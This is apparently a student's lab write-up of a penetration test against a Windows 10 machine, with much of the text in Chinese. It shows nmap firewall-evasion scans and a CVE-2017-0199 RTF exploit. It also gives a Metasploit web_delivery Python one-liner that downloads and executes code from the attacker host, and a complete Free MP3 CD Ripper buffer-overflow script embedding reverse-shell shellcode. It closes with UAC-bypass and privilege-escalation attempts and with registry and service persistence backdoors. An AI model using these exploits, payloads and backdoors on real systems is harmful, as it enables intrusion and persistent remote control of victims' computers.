20,165,230 Exemption project - based on the penetration attacks WIN10

Simple information gathering

Host found

ping

  • The method of sending ICMP packets using the ping command to detect WIN10 host is online

  • Able to receive a response packet to prove that host online, and can communicate with each other

nmap

nmap -sn

  • To detect active hosts

    This command will send a probe target ip arp request packet is online, if there arp reply packet, then online. This command can detect the target host is online, if online, you can also get its MAC address. But it will not detect an open port number.

Port Scan

nmap

nmap -sS

TCP SYN scan (-sS)
This is the default Nmap scanning method, commonly referred to as half-open scanning. The way to the destination port sends a SYN, receives if SYN / ACK reply, it can be determined port is open; if RST packet is received, indicating that the port is closed. If no reply is received, it can be judged that the port is blocked. Because the only way to send SYN packets particular port on the target host, but does not establish a complete TCP connection, it is relatively subtle, but also relatively high efficiency, wide range of applications.

  • Results are shown as filtered, nmap can not determine the status of the port open, mainly due to some network or host firewalls installed caused. When the state nmap receive packets icmp host unreachable target host packets or no answer will often target host is set to filtered.

  • Try to turn off the firewall, you can see a host open port has 135/139/443/445/902/912

OS and version detection service

nmap -sV

  • By nmap -sV 192.168.43.38scanning the physical machine, -sV is a parameter, the command nmap target port corresponding to the relevant application to scan

Attempt to bypass the firewall

Bait

这种类型的扫描是非常隐蔽且无法察觉。目标由多个假冒或伪造IP地址进行扫描。这样防火墙就会认为攻击或扫描是通过多个资源或IP地址进行,于是就绕过了防火墙。
这实际上在目标看来是由多个系统同时扫描,这使得防火墙更难追查扫描的来源。

  • 通过nmap –D decoy1,decoy2,decoy3 target来尝试欺骗防火墙

随机数据长度

附加随机数据长度,我们也可以绕过防火墙。许多防火墙通过检查数据包的大小来识别潜伏中的端口扫描。这是因为许多扫描器会发送具有特定大小的数据包。为了躲避那种检测,我们可以使用命令–data-length增加额外的数据,以便与默认大小不同。在下图中,我们通过加入25多个字节改变数据包大小。

  • 通过nmap --data-length 25 192.168.43.38命令进行随机数据长度尝试

随机顺序扫描目标

选项–randomize-host用于随机 顺序扫描指定目标。–randomize-host有助于防止因连续 扫描多个目标而防火墙和入侵检测系统检测到。

  • 通过nmap --randomize-hosts 192.168.43.38

MAC地址欺骗

每台机器都有自己独特的mac地址。因此这也是绕过防火墙的另一种方法,因为某些防火墙是基于MAC地址启用规则的。为了获得扫描结果,需要先了解哪些MAC地址可以使用。这可以通过手动或先进的模糊测试完成。
特别是–spoof-MAC选项能够从一个特定的供应商选择一个MAC地址,选择一个随机的MAC地址,或者设定您所选择的特定MAC地址。 MAC地址欺骗的另一个优点是,让扫描隐蔽,实际MAC地址就不会出现在防火墙的日志文件。

  • 通过nmap -sT -PN –spoof-mac aa:bb:cc:dd:ee:ff target命令

实现win10的渗透攻击

CVE-2017-0199(失败)

漏洞原理

  • 该漏洞利用OFFICE OLE对象链接技术,将包裹的恶意链接对象嵌在文档中,OFFICE调用URL Moniker(COM对象)将恶意链接指向的HTA文件下载到本地, 当用户打开包含嵌入式漏洞的文档时,winword.exe 会向远程服务器发出 HTTP 请求,以检索恶意 HTA 文件,服务器返回的文件时一个带有嵌入式恶意脚本的假 RTF 文件,winword.exe 通过 COM 对象查找 application/hta 的文件处理程序,这会导致 Microsoft HTA 应用程序(mshta.exe),加载恶意攻击者下载并执行包含 PowerShell 命令的 Visual Basic 脚本。

实现过程

  1. 下载cve-2017-0199.rtf:git clone https://github.com/bhdresh/CVE-2017-0199.git
  2. 此命令将运行一个python脚本来生成富文本格式的有效载荷,其中-M用于生成rtf文件,-w用于生成rtf文件的名称,即sales.rtf, -u为攻击者的IP地址或域名。
cd CVE-2017-0199
python cve-2017-0199_toolkit.py -M gen -w exploit.rtf -u http://192.168.1.24/raj.doc

  1. exploit.rtf放到win10靶机中
    在我们将这个文件发送给被攻击者之前,我们需要将它嵌套到任何后门文件中,以便我们可以建立与被攻击者的反向连接。
  2. 进入msfconsole执行监听:
msf> use multi/handler
msf exploit(handler )> set payload windows/meterpreter/reverse_tcp
msf exploit(handler )> set lhost 192.168.43.14
msf exploit(handler )> set lport 5230
msf exploit(handler )> exploit
  1. 失败

EasyFileSharing模块(失败)

攻击过程

  1. search 具体EasyFileSharing模块

  2. 具体操作
use exploit/windows/http/easyfilesharing_post
show options
set lhost 192.168.43.14
set lport 5230
set rhosts 192.168.43.38
set rport 80
exploit
  • 失败

msf web_delivery模块攻击(成功)

攻击原理

  • 此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)
  • 有两种利用方式:
    • 1.命令注入漏洞:
      在命令行注入:生成的命令
    • 2.远程文件包含漏洞:
      在包含漏洞处包含:生成的网址

攻击过程

  1. search web_delivery

  2. 具体过程
use exploit/multi/script/web_delivery
show options
set lhost 192.168.43.14
set lport 5230

exploit

  • 可以看见生成payload:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.43.14:8080/3ztfplpmKzCmFI');exec(r.read());"
  • 复制payload到Win10上面运行
  • 返回kali攻击机,已经反弹回了一个session
  • 输入命令sessions -i 3进入,成功获取了目标机

CVE-2019-9766(成功)

漏洞原理

  • Free MP3 CD Ripper是一款音频格式转换器。Free MP3 CD Ripper 2.6版本中存在栈缓冲区溢出漏洞。远程攻击者可借助特制的.mp3文件利用该漏洞执行任意代码

攻击过程

  • 靶机:Win10

  • 利用msf生成反向连接的shellcode,

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.19.129 lport=7230 -f c --smallest

  • 替换脚本中的shellcode.

# Stack-based buffer overflow in Free MP3 CD Ripper 2.6

buffer = "A" * 4116

NSEH = "\xeb\x06\x90\x90"

SEH = "\x84\x20\xe4\x66"

nops = "\x90" * 5

buf = ""

buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x13\x81"
buf += "\x68\x02\x00\x1c\x3e\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";

pad = "B" * (316 - len(nops) - len(buf) )

payload = buffer + NSEH + SEH + nops + buf +pad

 

try:

    f=open("TestFMCR.mp3","w")

    print "[+] Creating %s bytes mp3 File..." %len(payload)

    f.write(payload)

    f.close()

    print "[+] mp3 File created successfully!"

except:

    print "File cannot be created!"

  • 2.运行脚本,生成恶意mp3文件,python FmcrExploit.py

  • 3.移动恶意文件到靶机windows10上

  • 4.打开msf并设置监听

  • 在主机上打开Free MP3 CD Ripper软件

  • 回连成功!

进行提权

普通提权

  • 获取会话后通过命令getsystem进行提权,显示没有权限

利用系统漏洞

  • 可以利用metasploit下已有的提权漏洞,如ms13_053,ms14_058,ms16_016,ms16_032等。

ms16_032

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set lport 5230
set session 3
exploit
  • 失败

powerup命令行提权

  • 通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,使用Powershell框架-Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
  1. 首先需要下载此脚本:Powerup,之后加载此脚本:
powershell.exe -nop -exec bypass
Import-Module .\powerup.psm1
  • 加载完成以后,便可以使用Powerup中的所有模块,通过如下命令可以查看所有模块:Get-Command -Module powerup
  1. 首先添加低权限测试账号,使用管理员身份运行cmd,添加测试账号:C:\Windows\system32>net user powerup 1 /add
  2. 执行Invoke-AllChecks:PS C:\> Invoke-AllChecks

绕过UAC进行提权

  • 主要利用三个模块
  1. exploit/windows/local/bypassuac
  2. exploit/windows/local/bypassuac_injection
  3. exploit/windows/local/bypassuac_vbs
  • 一个一个的尝试,具体过程如下
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit
  • 失败1

后门

  • Meterpreter的shell运行在内存中,目标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使用exploit获取权限,所以需要持久的后门对目标进行控制。
    Msf提供了两种后门,一种是metsvc(通过服务启动),一种是persistence(支持多种方式启动)。

metsvc

  • (1)run metsvc

  • (2)命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。

  • 同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。
  • (3) 连接后门
    使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337。

persistence

 使用run persistence -h查看参数。
-A:安装后门后,自动启动exploit/multi/handler模块连接后门
-L:自启动脚本的路径,默认为%TEMP%
-P:需要使用的payload,默认为windows/meterpreter/reverse_tcp
-S:作为一个服务在系统启动时运行(需要SYSTEM权限)
-T:要使用的备用可执行模板
-U:用户登陆时运行
-X:系统启动时运行
-i:后门每隔多少秒尝试连接服务端
-p:服务端监听的端口
-r:服务端ip
  • 在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本
    在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项
  • (1)生成后门
    命令:run persistence -X -i 1 -p 5230 -r 192.168.43.14
  • 查看其修改的键值

  • (2)连接后门
  • 使用exploit/multi/handler模块,payload设置为windows/meterpreter/reverse_tcp,同时设置好服务端监听ip和端口。
  • 下次重启电脑时,可以保持会话

Guess you like

Origin www.cnblogs.com/tiankunye/p/11071888.html
Recommended